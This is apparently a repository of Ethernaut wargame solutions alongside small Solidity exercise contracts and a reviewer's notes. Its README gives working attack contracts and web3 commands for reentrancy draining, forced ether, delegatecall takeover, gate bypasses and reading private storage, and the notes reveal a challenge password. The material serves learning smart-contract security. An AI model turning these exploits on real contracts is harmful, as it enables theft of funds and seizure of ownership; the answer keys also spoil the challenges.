├── GDS ├── IOneSmallStep.sol ├── IFizzBuzz.sol ├── IStampCollector.sol ├── Stamp.sol ├── NotStamp.sol ├── OneSmallStep.sol ├── StampCollector.sol ├── IERC20.sol ├── Solutions.md ├── FizzBuzz.sol ├── Token.sol └── Oraclize.sol ├── LICENSE └── README.md /GDS/IOneSmallStep.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | interface IOneSmallStep { 4 | function quote() external pure returns (string memory); 5 | } -------------------------------------------------------------------------------- /GDS/IFizzBuzz.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | interface IFizzBuzz { 4 | function fizzBuzz(uint256 num) external pure returns (string memory); 5 | } -------------------------------------------------------------------------------- /GDS/IStampCollector.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | interface IStampCollector { 4 | function isCollected(address stamp) external returns (bool); 5 | function collectStamp(address stamp) external; 6 | } 7 | -------------------------------------------------------------------------------- /GDS/Stamp.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | contract Stamp { 4 | bytes32 public id; 5 | uint public rarity; 6 | 7 | constructor(bytes32 _id, uint _rarity) public { 8 | id = _id; 9 | rarity = _rarity; 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /GDS/NotStamp.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | contract NotStamp { 4 | bytes32 public notId; 5 | uint public notRarity; 6 | 7 | constructor(bytes32 _id, uint _rarity) public { 8 | notId = _id; 9 | notRarity = _rarity; 10 | } 11 | } -------------------------------------------------------------------------------- /GDS/OneSmallStep.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | import "./IOneSmallStep.sol"; 4 | 5 | contract OneSmallStep is IOneSmallStep { 6 | 7 | function quote() external pure returns (string memory) { 8 | return "That's one small step for man, one giant leap for mankind."; 9 | } 10 | 11 | } -------------------------------------------------------------------------------- /GDS/StampCollector.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | import "./IStampCollector.sol"; 4 | 5 | contract StampCollector is IStampCollector { 6 | mapping(address => bool) public collectedStamps; 7 | 8 | 9 | function isCollected(address stamp) external returns (bool) { 10 | return collectedStamps[stamp]; 11 | } 12 | 13 | function collectStamp(address stamp) external { 14 | bytes memory payload = abi.encodeWithSignature("id()"); 15 | (bool success, bytes memory returnData) = stamp.call(payload); 16 | require(success); 17 | collectedStamps[stamp] = true; 18 | } 19 | } 20 | 21 | 22 | -------------------------------------------------------------------------------- /GDS/IERC20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | /** 4 | * @title ERC20 interface 5 | * @dev see https://github.com/ethereum/EIPs/issues/20 6 | */ 7 | interface IERC20 { 8 | function totalSupply() external view returns (uint256); 9 | function balanceOf(address who) external view returns (uint256); 10 | function allowance(address owner, address spender) external view returns (uint256); 11 | function transfer(address to, uint256 value) external returns (bool); 12 | function approve(address spender, uint256 value) external returns (bool); 13 | function transferFrom(address from, address to, uint256 value) external returns (bool); 14 | event Transfer(address indexed from, address indexed to, uint256 value); 15 | event Approval(address indexed owner, address indexed spender, uint256 value); 16 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Simon 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /GDS/Solutions.md: -------------------------------------------------------------------------------- 1 | Solutions to GDShive 2 | 3 | ========= 4 | = Hello = 5 | ========= 6 | 7 | password = govtech_ethernaut 8 | 9 | - it's not clear enough from the phrasing that I should get started by doing "await contract.methods.info().call()" 10 | 11 | Can make it harder by trying to get them to retrieve the password via getStorage as opposed to calling the public variable; await web3.eth.getStorageAt(contract.address, 0) 12 | 13 | 14 | ================== 15 | = One Small Step = 16 | ================== 17 | 18 | very simple, not much feedback. 19 | 20 | =================== 21 | = Stamp Collector = 22 | =================== 23 | 24 | Using abi.encodeWithSignature to verify an externally deployed contract. 25 | 26 | ========= 27 | = ERC20 = 28 | ========= 29 | 30 | Copied and pasted entire solution from OpenZeppelin. I think this can replace "One Small Step" except maybe with a different interface implementation. 31 | 32 | ============ 33 | = FizzBuzz = 34 | ============ 35 | 36 | Read instructions properly! Using Oraclize. 37 | 38 | 39 | General Feedback 40 | 41 | 0. I didn't know that you could do this lol 42 | 1. Really like that is upgraded to solidity 0.5.0 and web3 1.0.0 and above. 43 | 2. Should be testing about solidity best practices as well e.g. reentrancy attack, DoS, forcibly sending ether to a contract, integer overflow etc. 44 | 3. Can also test about more advanced concepts like creating upgradable and modular contracts 45 | 4. Can also test truffle / status embark 46 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /GDS/FizzBuzz.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | import "./Oraclize.sol"; 4 | 5 | /** 6 | * @title SafeMath 7 | * @dev Unsigned math operations with safety checks that revert on error 8 | */ 9 | library SafeMath { 10 | /** 11 | * @dev Multiplies two unsigned integers, reverts on overflow. 12 | */ 13 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 14 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 15 | // benefit is lost if 'b' is also tested. 16 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 17 | if (a == 0) { 18 | return 0; 19 | } 20 | 21 | uint256 c = a * b; 22 | require(c / a == b); 23 | 24 | return c; 25 | } 26 | 27 | /** 28 | * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. 29 | */ 30 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 31 | // Solidity only automatically asserts when dividing by 0 32 | require(b > 0); 33 | uint256 c = a / b; 34 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 35 | 36 | return c; 37 | } 38 | 39 | /** 40 | * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). 41 | */ 42 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 43 | require(b <= a); 44 | uint256 c = a - b; 45 | 46 | return c; 47 | } 48 | 49 | /** 50 | * @dev Adds two unsigned integers, reverts on overflow. 51 | */ 52 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 53 | uint256 c = a + b; 54 | require(c >= a); 55 | 56 | return c; 57 | } 58 | 59 | /** 60 | * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), 61 | * reverts when dividing by zero. 62 | */ 63 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 64 | require(b != 0); 65 | return a % b; 66 | } 67 | } 68 | 69 | 70 | contract FizzBuzz is usingOraclize { 71 | using SafeMath for uint256; 72 | 73 | 74 | 75 | function fizzBuzz(uint256 num) external pure returns (string memory) { 76 | string memory retVal; 77 | 78 | if(num.mod(15) == 0) { 79 | return "FizzBuzz"; 80 | } else if (num.mod(5) == 0) { 81 | return "Buzz"; 82 | } else if (num.mod(3) == 0) { 83 | return "Fizz"; 84 | } 85 | 86 | return uint2str(num); 87 | } 88 | 89 | 90 | 91 | } -------------------------------------------------------------------------------- /GDS/Token.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | 4 | /** 5 | * @title ERC20 interface 6 | * @dev see https://github.com/ethereum/EIPs/issues/20 7 | */ 8 | interface IERC20 { 9 | function totalSupply() external view returns (uint256); 10 | function balanceOf(address who) external view returns (uint256); 11 | function allowance(address owner, address spender) external view returns (uint256); 12 | function transfer(address to, uint256 value) external returns (bool); 13 | function approve(address spender, uint256 value) external returns (bool); 14 | function transferFrom(address from, address to, uint256 value) external returns (bool); 15 | event Transfer(address indexed from, address indexed to, uint256 value); 16 | event Approval(address indexed owner, address indexed spender, uint256 value); 17 | } 18 | /** 19 | * @title SafeMath 20 | * @dev Unsigned math operations with safety checks that revert on error 21 | */ 22 | library SafeMath { 23 | /** 24 | * @dev Multiplies two unsigned integers, reverts on overflow. 25 | */ 26 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 27 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 28 | // benefit is lost if 'b' is also tested. 29 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 30 | if (a == 0) { 31 | return 0; 32 | } 33 | 34 | uint256 c = a * b; 35 | require(c / a == b); 36 | 37 | return c; 38 | } 39 | 40 | /** 41 | * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. 42 | */ 43 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 44 | // Solidity only automatically asserts when dividing by 0 45 | require(b > 0); 46 | uint256 c = a / b; 47 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 48 | 49 | return c; 50 | } 51 | 52 | /** 53 | * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). 54 | */ 55 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 56 | require(b <= a); 57 | uint256 c = a - b; 58 | 59 | return c; 60 | } 61 | 62 | /** 63 | * @dev Adds two unsigned integers, reverts on overflow. 64 | */ 65 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 66 | uint256 c = a + b; 67 | require(c >= a); 68 | 69 | return c; 70 | } 71 | 72 | /** 73 | * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), 74 | * reverts when dividing by zero. 75 | */ 76 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 77 | require(b != 0); 78 | return a % b; 79 | } 80 | } 81 | contract Token is IERC20 { 82 | using SafeMath for uint256; 83 | 84 | mapping (address => uint256) private _balances; 85 | mapping (address => mapping (address => uint256)) private _allowed; 86 | uint256 private _totalSupply; 87 | 88 | constructor(address recipient) public { 89 | _balances[recipient] = 1000; 90 | _totalSupply = 1000; 91 | } 92 | 93 | function totalSupply() external view returns (uint256) { 94 | return _totalSupply; 95 | } 96 | 97 | function balanceOf(address owner) external view returns (uint256) { 98 | return _balances[owner]; 99 | } 100 | 101 | function allowance(address owner, address spender) external view returns (uint256) { 102 | return _allowed[owner][spender]; 103 | } 104 | 105 | function transfer(address to, uint256 value) external returns (bool) { 106 | _transfer(msg.sender, to, value); 107 | return true; 108 | } 109 | 110 | function _transfer(address from, address to, uint256 value) internal { 111 | require(to != address(0)); 112 | 113 | _balances[from] = _balances[from].sub(value); 114 | _balances[to] = _balances[to].add(value); 115 | emit Transfer(from, to, value); 116 | } 117 | 118 | function approve(address spender, uint256 value) external returns (bool) { 119 | _approve(msg.sender, spender, value); 120 | return true; 121 | } 122 | 123 | function _approve(address owner, address spender, uint256 value) internal { 124 | require(spender != address(0)); 125 | require(owner != address(0)); 126 | 127 | _allowed[owner][spender] = value; 128 | emit Approval(owner, spender, value); 129 | } 130 | 131 | function transferFrom(address from, address to, uint256 value) external returns (bool) { 132 | _transfer(from, to, value); 133 | _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); 134 | return true; 135 | } 136 | 137 | event Transfer(address indexed from, address indexed to, uint256 value); 138 | event Approval(address indexed owner, address indexed spender, uint256 value); 139 | 140 | 141 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Ethernaut solution 2 | 3 | ## 1. Fallback 4 | Abusing erroneous logic between contract functions and fallback function. 5 | ``` 6 | await contract.contribute({value: 1234}); 7 | await contract.sendTransaction({value: 1234}); 8 | await contract.withdraw(); 9 | ``` 10 | 11 | ## 2. Fallout 12 | Constructor is spelled wrongly so it becomes a regular function. In any case, you can't use the contract name as a constructor in solidity 0.5.0 and above. 13 | ``` 14 | await contract.Fal1out({value: 1234}); 15 | await contract.sendAllocation(await contract.owner()); 16 | ``` 17 | 18 | ## 3. Coinflip 19 | Don't rely on block number for any validation logic. A malicious user can calculate the solution to bypass your validation if both txns in the same block i.e. wrapped in the same function call. 20 | 21 | Note: For some reason, I can't seem to call these functions more than once in the same function call i.e. another function that calls one of these malicious functions multiple times in one function call. 22 | ``` 23 | pragma solidity ^0.6.0; 24 | import "./CoinFlip.sol"; 25 | import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/math/SafeMath.sol"; 26 | 27 | contract AttackCoinFlip { 28 | using SafeMath for uint; 29 | 30 | address public targetContract; 31 | 32 | constructor(address _targetContract) public { 33 | targetContract = _targetContract; 34 | } 35 | 36 | function attackFlipWithContract() public{ 37 | uint256 blockValue = uint256(blockhash(block.number.sub(1))); 38 | uint256 coinFlip = blockValue.div(57896044618658097711785492504343953926634992332820282019728792003956564819968); 39 | bool side = coinFlip == 1 ? true : false; 40 | CoinFlip(targetContract).flip(side); 41 | } 42 | 43 | function attackFlipWithout() public { 44 | uint256 blockValue = uint256(blockhash(block.number.sub(1))); 45 | uint256 coinFlip = blockValue.div(57896044618658097711785492504343953926634992332820282019728792003956564819968); 46 | bytes memory payload = abi.encodeWithSignature("flip(bool)", coinFlip == 1 ? true : false); 47 | (bool success, ) = targetContract.call(payload); 48 | require(success, "Transaction call using encodeWithSignature is successful"); 49 | } 50 | } 51 | ``` 52 | 53 | ## 4. Telephone 54 | When you call a contract (A) function from within another contract (B), the msg.sender is the address of B, not the account that you initiated the function from which is tx.origin. 55 | ``` 56 | pragma solidity ^0.6.0; 57 | contract AttackTelephone { 58 | address public telephone; 59 | 60 | constructor(address _telephone) public { 61 | telephone = _telephone; 62 | } 63 | 64 | function changeBadOwner(address badOwner) public { 65 | bytes memory payload = abi.encodeWithSignature("changeOwner(address)", badOwner); 66 | (bool success, ) = telephone.call(payload); 67 | require(success, "Transaction call using encodeWithSignature is successful"); 68 | } 69 | } 70 | ``` 71 | 72 | ## 5. Token 73 | No integer over/underflow protection. Always use [safemath](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol) libraries. As long as you pass a value > 20, the condition in the first require statement will underflow and it will always pass. 74 | ``` 75 | await contract.transfer(instance, 25) 76 | ``` 77 | 78 | ## 6. Delegation 79 | DelegateCall means you take the implementation logic of the function in the contract you're making this call to but using the storage of the calling contract. Since msg.sender, msg.data, msg.value are all preserved when performing a DelegateCall, you just needed to pass in a malicious msg.data i.e. the encoded payload of `pwn()` function to gain ownership of the `Delegation` contract. 80 | ``` 81 | let payload = web3.eth.abi.encodeFunctionSignature({ 82 | name: 'pwn', 83 | type: 'function', 84 | inputs: [] 85 | }); 86 | 87 | await contract.sendTransaction({ 88 | data: payload 89 | }); 90 | ``` 91 | 92 | ## 7. Force 93 | You can easily forcibly send ether to a contract. Read [this](https://consensys.github.io/smart-contract-best-practices/known_attacks/#forcibly-sending-ether-to-a-contract) to learn more. 94 | ``` 95 | pragma solidity ^0.6.0; 96 | 97 | contract AttackForce { 98 | 99 | constructor(address payable _victim) public payable { 100 | selfdestruct(_victim); 101 | } 102 | } 103 | ``` 104 | 105 | ## 8. Vault 106 | Your private variables are private if you try to access it the normal way e.g. via another contract but the problem is that everything on the blockchain is visible so even if the variable's visibility is set to private, you can still access it based on its index in the smart contract. Learn more about this [here](https://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage).x 107 | ``` 108 | const password = await web3.eth.getStorageAt(instance, 1); 109 | await contract.unlock(password); 110 | ``` 111 | 112 | ## 9. King 113 | This is a classic example of DDoS with unexpected revert when part of the logic in the victim's contract involves transferring ether to the previous "lead", which in this case is the king. A malicious user would create a smart contract with either: 114 | 115 | - a `fallback` / `receive` function that does `revert()` 116 | - or the absence of a `fallback` / `receive` function 117 | 118 | Once the malicious user uses this smart contract to take over the "king" position, all funds in the victim's contract is effectively stuck in there because nobody can take over as the new "king" no matter howm uch ether they use because the fallback function in the victim's contract will always fail when it tries to do `king.transfer(msg.value);` 119 | ``` 120 | pragma solidity ^0.6.0; 121 | 122 | contract AttackKing { 123 | 124 | constructor(address payable _victim) public payable { 125 | _victim.call.gas(1000000).value(1 ether)(""); 126 | } 127 | 128 | receive() external payable { 129 | revert(); 130 | } 131 | } 132 | ``` 133 | 134 | ## 10. Re-entrancy 135 | The same hack as the DAO hack. Due to the ordering of the transactions, the malicious contract is able to keep calling the withdraw function as the internal state is only updated after the transfer is done. When the call.value is processed, the control is handed back to the `fallback` function of the malicious contract which then calls the withdraw function again. Note that the number of times the fallback function runs is based on the amount of gas submitted when you call `maliciousWithdraw()`. 136 | 137 | Note: You need to use `uint256` instead of `uint` when encoding the signature. 138 | ``` 139 | pragma solidity ^0.6.0; 140 | 141 | contract AttackReentrancy { 142 | address payable victim; 143 | 144 | constructor(address payable _victim) public payable { 145 | victim = _victim; 146 | 147 | // Call Donate 148 | bytes memory payload = abi.encodeWithSignature("donate(address)", address(this)); 149 | victim.call.value(msg.value)(payload); 150 | } 151 | 152 | function maliciousWithdraw() public payable { 153 | // Call withdraw 154 | bytes memory payload = abi.encodeWithSignature("withdraw(uint256)", 0.5 ether); 155 | victim.call(payload); 156 | } 157 | 158 | fallback() external payable { 159 | maliciousWithdraw(); 160 | } 161 | 162 | function withdraw() public { 163 | msg.sender.transfer(address(this).balance); 164 | } 165 | } 166 | ``` 167 | 168 | ## 11. Elevator 169 | Since `building.isLastFloor()` is not a view function, you could implement it in such a way where it returns a different value everytime it is called, even if it is called in the same function. Moreover, even if it were to be changed to a view function, you could also still [attack it](https://github.com/OpenZeppelin/ethernaut/pull/123#discussion_r317367511). 170 | 171 | Note: You don't have to inherit an interface for the sake of doing it. It helps with the abstract constract checks when the contract is being compiled. As you can see in my implementation below, I just needed to implement `isLastFloor()` because at the end of the day, it still gets encoded into a hexidecimal function signature and as long as this particular signature exists in the contract, it will be called with the specified params. 172 | 173 | Sometimes `.call()` gives you a bad estimation of the gas required so you might have to manually configure how much gas you want to send along with your transaction. 174 | ``` 175 | pragma solidity ^0.6.0; 176 | 177 | contract AttackElevator { 178 | bool public flag; 179 | 180 | function isLastFloor(uint) public returns(bool) { 181 | flag = !flag; 182 | return !flag; 183 | } 184 | 185 | function forceTopFloor(address _victim) public { 186 | bytes memory payload = abi.encodeWithSignature("goTo(uint256)", 1); 187 | _victim.call(payload); 188 | } 189 | 190 | } 191 | ``` 192 | 193 | ## 12. Privacy 194 | This level is very similar to that of the level 8 Vault. In order to unlock the function, you need to be able to retrieve the value stored at `data[2]` but you need to first determine what position it is at. You can learn more about how storage variables are stored on the smart contract [here](https://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage). From that, we can tell that `data[2]` is stored at index 5! It's not supposed to be at index 4 because arrays are 0 based so when you want to get value at index 2, you're actually asking for the 3 value of the array i.e. index 5!! Astute readers will also notice that the password is actually casted to bytes16! So you'd need to know what gets truncated when you go from bytes32 to byets16. You can learn about what gets truncated during type casting [here](https://www.tutorialspoint.com/solidity/solidity_conversions.htm). 195 | 196 | Note: Just a bit more details about the packing of storage variables. The 2 `uint8` and 1 `uint16` are packed together on storage according to the order in which they appeared in the smart contract. In my case, when i did `await web3.eth.getStorageAt(instance, 2)`, I had a return value of `0x000000000000000000000000000000000000000000000000000000004931ff0a`. The last 4 characters of your string should be the same as mine because our contracts both have the same values for `flattening` and `denomination`. 197 | 198 | `flattening` has a value of 10 and its hexidecimal representation is `0a` while `denomination` has a value of 255 and has a hexidecimal representation of `ff`. The confusing part is the last one which is supposed to represent `awkwardness` which is of type `uint16`. Since `now` returns you a uint256 (equivalent of block.timestamp i.e. the number of seconds since epoch), when you convert `4931` as a hex into decimals, you get the values `18737`. This value can be obtained by doing `epochTime % totalNumberOfPossibleValuesForUint16` i.e. `1585269041 % 65536 = 18737`. The biggest value for `uint16` is `65535` but to determine all possible values, you need to add `1` to `65535` more to also include 0. Hopefully this explanation helps you to better understand how values are packed at the storage level! 199 | ``` 200 | var data = await web3.eth.getStorageAt(instance, 5); 201 | var key = data.slice(2, 34); 202 | await contract.unlock(key); 203 | ``` 204 | 205 | ## 13. Gatekeeper One 206 | This level is probably the most challenging so far since you'll need to be able to pass 5 conditional checks to be able to register as an entrant. 207 | 208 | 1. The workaround to `gateOne` is to initiate the transaction from a smart contract since from the victim's contract pov, `msg.sender` = address of the smart contract while `tx.origin` is your address. 209 | 2. `gateTwo` requires some trial and error regarding how much gas you should use. The simplest way to do this is to use `.call()` because you can specify exactly how much gas you want to use. Once you've initiated a failed transaction, play around with the remix debugger. Essentially you want to calculate the total cost of getting to exactly the point prior to the `gasleft()%8191 == 0`. For me, this is 254 gas so to pass this gate, I just needed to use a gas equivalent to some multiple of 8191 + 254 e.g. 8191 * 100 + 254 = 819354. This [spreadsheet](https://docs.google.com/spreadsheets/u/1/d/1n6mRqkBz3iWcOlRem_mO09GtSKEKrAsfO7Frgx18pNU/edit#gid=0) of opcodes gas cost might help... but honestly, just playing with the debugger should work. 210 | 3. To solve `gateThree`, it makes more sense to work backwards i.e. solve part 3 then part 2 then part 1 because even if you could pass part 1, your solution for part 1 may not pass part 2 and so on. Play around with remix while using [this](https://www.tutorialspoint.com/solidity/solidity_conversions.htm) to help you better understand what gets truncated when doing explicit casting. If you know how to do bit masking, this gate should be a piece of cake for you! Quick tip - you can ignore the `uint64()` when trying to solve this gate. 211 | 212 | For some strange reason, my solution wouldn't pass on Ropsten but passed locally on remix. 213 | ``` 214 | pragma solidity ^0.5.0; 215 | 216 | // Remix account[0] address = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c 217 | 218 | contract AttackGatekeeperOne { 219 | address public victim; 220 | 221 | constructor(address _victim) public { 222 | victim = _victim; 223 | } 224 | 225 | // require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); 226 | // require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); 227 | // require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three"); 228 | 229 | 230 | function part3(bytes8 _gateKey) public view returns(bool) { 231 | // _gateKey has 16 characters 232 | // uint16(msg.sender) = truncating everything else but the last 4 characters of my address (733c) and converting it into uint16 returns 29500 233 | // for uint32 == uint16, the former needs to be left padded with 0s e.g. 00001234 == 1234 = true 234 | // solving uint32(uint64(_gateKey)) is trivial because it is the same as described above. 235 | // This function will return true for any _gateKey with the values XXXXXXXX0000733c where X can be hexidecimal character. 236 | return uint32(uint64(_gateKey)) == uint16(msg.sender); 237 | } 238 | 239 | function part2(bytes8 _gateKey) public pure returns(bool) { 240 | // This is saying that the truncated version of the _gateKey cannot match the original 241 | // e.g. Using 000000000000733c will fail because the return values for both are equal 242 | // However, as long as you can change any of the first 8 characters, this will pass. 243 | return uint32(uint64(_gateKey)) != uint64(_gateKey); 244 | } 245 | 246 | function part1(bytes8 _gateKey) public pure returns(bool) { 247 | // you can ignore the uint64 casting because it appears on both sides. 248 | // this is equivalent to uint32(_gateKey) == uint64(_gateKey); 249 | // the solution to this is the same as the solution to part3 i.e. you want a _gateKey where the last 8 digits is the same as the last 4 digits after 250 | // it is converted to a uint so something like 0000733c will pass. 251 | return uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)); 252 | } 253 | 254 | // So the solution to this is to use XXXXXXXX0000 where X can be any hexidecimal characters except 00000000. 255 | function enter(bytes8 _key) public returns(bool) { 256 | bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _key); 257 | (bool success,) = victim.call.gas(819354)(payload); 258 | require(success, "failed somewhere..."); 259 | } 260 | } 261 | ``` 262 | 263 | ## 14. Gatekeeper Two 264 | Very similar to the previous level except it requires you to know a little bit more about bitwise operations (specifically XOR) and about `extcodesize`. 265 | 266 | 1. The workaround to `gateOne` is to initiate the transaction from a smart contract since from the victim's contract pov, `msg.sender` = address of the smart contract while `tx.origin` is your address. 267 | 2. `gateTwo` stumped me for a little while because how can both extcodesize == 0 and yet msg.sender != tx.origin? Well the solution to this is that all function calls need to come from the constructor! When first deploy a contract, the extcodesize of that address is 0 until the constructor is completed! 268 | 3. `gateThree` is very easy to solve if you know the XOR rule of `if A ^ B = C then A ^ C = B`. 269 | 270 | ``` 271 | pragma solidity ^0.6.0; 272 | 273 | contract AttackGatekeeperTwo { 274 | 275 | constructor(address _victim) public { 276 | bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1); 277 | bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _key); 278 | (bool success,) = _victim.call(payload); 279 | require(success, "failed somewhere..."); 280 | } 281 | 282 | 283 | function passGateThree() public view returns(bool) { 284 | // if a ^ b = c then a ^ c = b; 285 | // uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) = uint64(0) - 1 286 | // therefore uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(0) - 1 = uint64(_gateKey) 287 | uint64 key = uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(0) - 1; 288 | return uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ key == uint64(0) - 1; 289 | } 290 | } 291 | ``` 292 | 293 | ## 15. Naught Coin 294 | Just approve another address to take the coins out on behalf of player. Note that you will need to know how to generate the data payload using `web3.eth.encodeFunctionCall`. Once you have the `data` payload, you need to initiate the `web3.eth.sendTransaction` while the selected account on metamask is the spender's account. The reason for this is because `transferFrom()` checks the allowance of msg.sender. 295 | ``` 296 | web3.eth.abi.encodeFunctionCall({ 297 | name: 'transferFrom', 298 | type: 'function', 299 | inputs: [{ 300 | type: 'address', 301 | name: 'sender' 302 | },{ 303 | type: 'address', 304 | name: 'recipient' 305 | },{ 306 | type: 'uint256', 307 | name: 'amount' 308 | }] 309 | }, ['', '', '1000000000000000000000000']); 310 | 311 | await web3.eth.sendTransaction({ 312 | to: "", 313 | from: "", 314 | data: "" 315 | }) 316 | ``` 317 | 318 | ## 16. Preservation 319 | You need to understand how `delegatecall` works and how it affects storage variables on the calling contract to be able to solve this level. Essentially, when you try to do `delegatecall` and call the function `setTime()`, what's happening is that it is not just applying the logic of `setTime()` to the storage variables of the calling contract, it is also preserving the index of `storedTime` in the calling contract and using that as a reference as to which variable should it update. In short, the `LibraryContract` is trying to modify the variable at index 0 but on the calling contract, index 0 is the address of `timeZone1Library`. So first you need to call `setTime()` to replace `timeZone1Library` with a malicious contract. In this malicious contract, `setTime()` which will modify index 3 which on the calling contract is the owner variable! 320 | 321 | 1. Deploy the malicious library contract 322 | 2. Convert the address into uint. 323 | 3. Call either `setFirstTime()` or `setSecondTime()` with the uint value of (2). 324 | 4. Now that the address of `timeZone1Library` has been modified to the malicious contract, call `setFirstTime()` with the uint value of your player address. 325 | ``` 326 | pragma solidity ^0.6.0; 327 | 328 | contract LibraryContract { 329 | 330 | // stores a timestamp 331 | address doesNotMatterWhatThisIsOne; 332 | address doesNotMatterWhatThisIsTwo; 333 | address maliciousIndex; 334 | 335 | function setTime(uint _time) public { 336 | maliciousIndex = address(_time); 337 | } 338 | } 339 | 340 | await contract.setFirstTime("") 341 | await contract.setFirstTime(") 342 | 343 | ``` 344 | 345 | ## 17. Recovery 346 | Notice how there exists a function called `destroy()` which alls `selfdestruct()`. `selfdestruct()` is a way for you to "destroy" a contract and retrieve the entire eth balance at that address. So what you need to do is encode it into the `data` payload initiate a transaction to it. You need to analyse your transaction hash to determine the address of the lost contract. Once you have that, you should be able to solve this level. 347 | ``` 348 | data = web3.eth.abi.encodeFunctionCall({ 349 | name: 'destroy', 350 | type: 'function', 351 | inputs: [{ 352 | type: 'address', 353 | name: '_to' 354 | }] 355 | }, [player]); 356 | await web3.eth.sendTransaction({ 357 | to: "", 358 | from: player, 359 | data: data 360 | }) 361 | ``` 362 | 363 | ## 18. MagicNumber 364 | Don't really think this is a security challenge, it's more of a general coding challenge about how you can deploy a very small sized contract! I probably won't ever need to use this so I'm going to skip this floor. Nonetheless, if you're interested to do this challenge, read this [solution](https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2) by Nicole Zhu. 365 | 366 | 367 | ## 19. AlienCodex 368 | 369 | In order to solve this level, you need to understand about 3 things: 370 | 1. Packing of storage variables to fit into one storage slot of 32bytes 371 | 2. How values in dynamic arrays are stored 372 | 3. How to modify an item outside of the size of the array. 373 | 374 | This [example](https://programtheblockchain.com/posts/2018/03/09/understanding-ethereum-smart-contract-storage/) & the [solidity documentation](https://solidity.readthedocs.io/en/latest/miscellaneous.html#bytes-and-string) should prove useful to understanding point 2. However, I would like to point out that there is a mistake in the example. If you can find the mistake, you probably have a solid understanding of point 2. Note that the solution below uses web3 to interact with the contract because there was an error on Ethernaut (0.5.0)'s end preventing me from getting an instance. 375 | ``` 376 | // After deploying your contract, you need to determine which is your instance contract. 377 | // Find the transaction on etherscan, click on Internal Transactions 378 | // Look for the line 